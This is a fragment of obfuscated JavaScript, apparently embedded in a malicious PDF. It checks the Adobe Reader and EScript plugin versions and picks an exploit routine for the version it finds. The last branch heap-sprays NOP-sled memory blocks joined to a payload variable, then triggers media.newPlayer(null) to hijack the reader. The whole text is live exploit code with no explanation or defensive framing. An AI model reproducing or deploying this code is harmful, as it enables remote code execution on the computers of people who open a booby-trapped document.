aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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